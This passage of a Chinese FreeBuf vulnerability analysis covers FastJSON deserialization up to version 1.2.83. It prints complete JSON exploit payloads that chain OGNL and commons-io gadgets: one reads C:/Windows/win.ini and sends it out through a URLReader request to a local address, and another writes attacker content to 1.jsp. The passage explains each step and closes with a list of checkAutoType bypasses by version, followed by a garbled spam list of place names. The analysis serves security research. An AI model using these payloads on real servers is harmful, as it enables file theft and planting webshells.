這里同樣利用expectClass繞過checkAutoType并將BasicCompilationUnit類進(jìn)行緩存,以便繞過對BasicCompilationUnit類的checkAutoType的檢測

然后是poc2

{"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},

對OgnlException進(jìn)行緩存,以便繞過對OgnlException類的checkAutoType的檢測

"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},

這一步會調(diào)用ParserConfig.getDeserializer為_evaluation所在的類Evaluation創(chuàng)建deserializer并放入緩存,以便繞過對Evaluation類的checkAutoType的檢測

"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",

調(diào)用Evaluation類的構(gòu)造函數(shù),傳入node參數(shù)

node為ASTMethod類,調(diào)用ASTMethod類的構(gòu)造函數(shù),傳入p參數(shù),p為OgnlParser類

"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
.....
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]

再調(diào)用OgnlParser類的構(gòu)造函數(shù),傳遞stream參數(shù)

stream為BOMInputStream類,再調(diào)用BOMInputStream類的構(gòu)造函數(shù),傳遞delegate、boms參數(shù)

再調(diào)用ReaderInputStream類的構(gòu)造函數(shù)

"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
...
"charsetName": "UTF-8",
"bufferSize": 1024

傳遞reader、charsetName、bufferSize參數(shù),reader為URLReader類,調(diào)用URLReader類的構(gòu)造函數(shù),傳遞url參數(shù),url為String類型

一些細(xì)節(jié)需要注意:

"@type": "java.lang.String" {會調(diào)用parse解析后面整個對象,然后調(diào)用toString()返回

"@type": "java.lang.String" [和{的一樣

"@type": "java.lang.String" "會直接返回后面第一個雙引號引起來的字符串,然后交給其他類進(jìn)行解析

回到這里

"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {

他會把后面當(dāng)成對象解析

獲取Locale的deserializer(MiscCodec),然后調(diào)用deserializer的deserialize方法

val為JSONObject類,將val作為對象解析

"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]

}
}
},

這里調(diào)用Locale的構(gòu)造函數(shù),傳language和country,并封裝成BaseLocale類型賦值給baseLocale屬性

在country里,會調(diào)用BasicCompilationUnit的構(gòu)造函數(shù),傳遞fileName參數(shù)

"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]

}
}
},

},

最后將val的解析結(jié)果封裝成JSONObject,這時候會調(diào)用BasicCompilationUnit的getter方法

在BasicCompilationUnit的getContents方法中讀取文件,并返回字節(jié)數(shù)組,同時調(diào)用其他getter方法,將屬性值不為null的封裝到JSONObject中

之前說過,"@type": "java.lang.String" {會調(diào)用parse解析后面整個對象,然后調(diào)用toString()返回,所以會調(diào)用Locale.toString()方法返回字符串給url

會將baseLocale的屬性使用_分割并組裝

"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}

小插曲

"$ref": "$.su16.node.p.stream"表示引用根對象下su16對象的node對象下的p對象下的stream

對于引用來說,在DefaultJSONParser的parseObject中,當(dāng)解析到引用時并不會立即解析,而是先編譯然后加到任務(wù)隊列

然后使用null作為該引用的解析結(jié)果,然后返回到外層JSON.parse中

然后在JSON.parse中處理所有引用關(guān)系,此時開始真正解析引用類型

在handleRsovleTask中,遍歷任務(wù)隊列,解析引用類型,然后調(diào)用getObject拿到該引用類型的值

在getObject中比較簡單,遍歷所有樹節(jié)點,這些樹節(jié)點是提前解析好的了,已經(jīng)有對應(yīng)的值存儲在節(jié)點里,然后判斷該引用是否跟節(jié)點相同,相同就返回節(jié)點對應(yīng)的值。

$.su16.node.p.stream的值為BOMInputStream

第二次解析$.su17.bOM.bytes由于在之前所有節(jié)點中并沒有該引用,所以返回null

refValue為null時,會解析該封裝成JSONPath,并調(diào)用eval解析

然后會將JSONPath分成三個屬性段,第一個為su17,第二個為bOM,第三個為bytes

然后調(diào)用eval方法取每個屬性段的值

然后在JSONPath.getPropertyValue方法中

如果currentObject是Map類型,他首先會在currentObject取屬性段的值。若不是Map類型,則調(diào)用getter方法去取對應(yīng)屬性的值。

為什么不合在一起寫成"$ref": "$.su16.node.p.stream.bom.bytes"?

一開始從節(jié)點中找不到這個$.su16.node.p.stream.bom.bytes,所以refValue為null,然后調(diào)用JSONPath.eval解析該路徑,JSONPath.eval會將該路徑解析成一個個屬性段,然后將調(diào)用屬性段的eval方法將返回值給currentObject,下次循環(huán)再將currentObject進(jìn)行傳參調(diào)用eval方法

所以這個路徑$.su16.node.p.stream.bom.bytes是這樣解析的

  1. $的值為Evaluation類

  2. 然后調(diào)用Evaluation類的getNode方法獲取node(ASTMethod類)

  3. 然后ASTMethod類的getter方法獲取p,由于p沒有g(shù)etter方法所以返回null

  4. 然后將currentObjct(null)作為參數(shù)接著執(zhí)行屬性段的eval方法

  5. 然后在JSONPath.getPropertyValue方法判斷currentObjct為null,所以返回null,再賦值給currentObject

  6. 所以p屬性段的解析結(jié)果為null,后面繼續(xù)循環(huán)4-6步驟

  7. 最終返回currentObject為null

"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM"
}

su17拿到BOMInputStream對象,然后調(diào)用getBOM方法

調(diào)用in.read(),in為ReaderInputStream

reader為URLReader,調(diào)用URLReader的read()方法

調(diào)用getReader方法

url封裝了讀取文件的結(jié)果,將url作為參數(shù),調(diào)用Source.readFully()方法

發(fā)起請求,將讀取的文件外帶

寫文件

使用ognl庫配合commons-io庫

這條鏈配合了commons-io那條鏈(XmlStreamReader鏈來完成文件讀寫操作)

{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aa大于8192個字符"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"1.jsp",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su17": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su18": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su19": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
}, ?
}

這里的原理和上面的讀文件相同,只不過在構(gòu)造ReaderInputStream時,傳入的reader為XmlStreamReader,觸發(fā)了commons-io文件讀寫那條鏈

后面su17、su18、su19是為了觸發(fā)三次寫入,之前說過寫一次限制為4096字節(jié),而只有當(dāng)寫入超過8192字節(jié)才會刷新緩存區(qū)真正寫入到文件中;

XmlStreamReader在構(gòu)造器方法中會觸發(fā)doRawStream()方法,在doRawStream()方法中觸發(fā)getBOMCharsetName(),在getBOMCharsetName()中觸發(fā)getBOM(),getBOM()觸發(fā)TeeInputStream的read()方法,此時TeeInputStream為同一個對象(因為引用了上一個對象),就可以達(dá)循環(huán)讀寫。

總結(jié)

還有其他一些比較冷門的利用鏈,就沒必要看了

fastjson=1.2.83

1.2.83中,在ParserConfig的checkAutoType中,

若為Throwable的子類,則clazz置null,并返回

同時類名以Exception或者Error結(jié)尾的都會返回null

兩層防御導(dǎo)致有關(guān)ThrowableDeserializer那條鏈的繞過失效;

重新審視這張圖

唯一能利用expectClass進(jìn)行繞過的只有JavaBeanDeserializer這條鏈,而需要有一個類滿足一些條件,且他的deserializer為JavaBeanDeserializer,這時就可以繞過checkAutoType的檢測;

1.2.83及以上未爆出新的漏洞了,但是根據(jù)FastJSON的尿性,估計肯定還會有不少漏洞,肯定也有不少師傅存著一些POC在偷偷利用也說不定;

總結(jié)

1.2.24之下無限制,隨便玩

1.2.25到1.2.41新增黑白名單,使用L開頭;結(jié)尾進(jìn)行繞過

1.2.42雙寫L開頭;結(jié)尾進(jìn)行繞過

1.2.43使用[進(jìn)行繞過

1.2.47及以下使用MiscCodec類刷新緩存繞過

1.2.48cache為false,不給存入緩存

1.2.48到1.2.80利用expectClass繞過

-1.2.48到1.2.68使用AutoCloseable進(jìn)行繞過

-1.2.69到1.2.80使用ThrowableDeserializer進(jìn)行繞過

Reference

  • https://github.com/threedr3am/learnjavabug/commit/ea61297cf7b2125ecae0064d2b8061a9e32db1e6

  • https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

  • http://scz.617.cn:8/web/202008100900.txt

  • http://x2y.pw/2020/11/15/fastjson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/

  • https://www.anquanke.com/post/id/203086

  • https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html

本文作者:ZeanHike,?轉(zhuǎn)載請注明來自FreeBuf.COM


FastJSON(全系漏洞分析-截至20230325)的評論 (共 條)

分享到微博請遵守國家法律
乌兰察布市| 鱼台县| 兴义市| 苍梧县| 碌曲县| 上犹县| 恩施市| 舞阳县| 通山县| 香港 | 龙游县| 普定县| 庄浪县| 秦皇岛市| 舒兰市| 阿合奇县| 凤翔县| 通山县| 东丽区| 惠东县| 耒阳市| 佛学| 德阳市| 扎鲁特旗| 阳泉市| 昂仁县| 公安县| 英吉沙县| 慈溪市| 冕宁县| 象山县| 云南省| 太湖县| 富民县| 林甸县| 宜良县| 灵寿县| 徐汇区| 双桥区| 谢通门县| 东辽县|